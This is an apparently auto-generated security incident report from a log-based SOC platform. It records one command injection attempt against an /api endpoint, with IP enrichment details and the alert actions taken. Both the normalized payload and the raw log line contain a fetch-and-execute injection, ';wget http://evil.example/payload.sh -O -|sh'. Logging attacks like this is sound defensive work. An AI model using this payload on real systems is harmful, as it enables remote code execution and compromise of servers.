LOG-BASED SOC PLATFORM
SECURITY INCIDENT REPORT

Incident Summary

Incident Time	02/Nov/2025:12:01:25 +0530
Severity	Critical
Threat Rule	Command Injection / Shell
Source IP	12.12.12.12
IOC Confirmed	NO

IP Intelligence & Enrichment

Private IP	NO
Country	US
Region	Missouri
City	St. Louis
Organization	AS7018 AT&T Enterprises, LLC
ASN	UNKNOWN
Source	CACHE

Normalized Payload

```
get /api?cmd=;wget http://evil.example/payload.sh -o -|sh http/1.1
```

Raw Log Evidence

```
12.12.12.12 - - [02/Nov/2025:12:01:25 +0530] "GET
/api?cmd=;wget%20http://evil.example/payload.sh%20-O%20-|sh HTTP/1.1" 200 55 "-"
"Wget/1.20.3 (linux-gnu)"
```

Response Actions

Firewall Action	No Firewall Action
Email Alert	Sent
PDF Report	Generated

Generated by Log-Based SOC Platform | UTC 2026-01-08T06:25:58.258076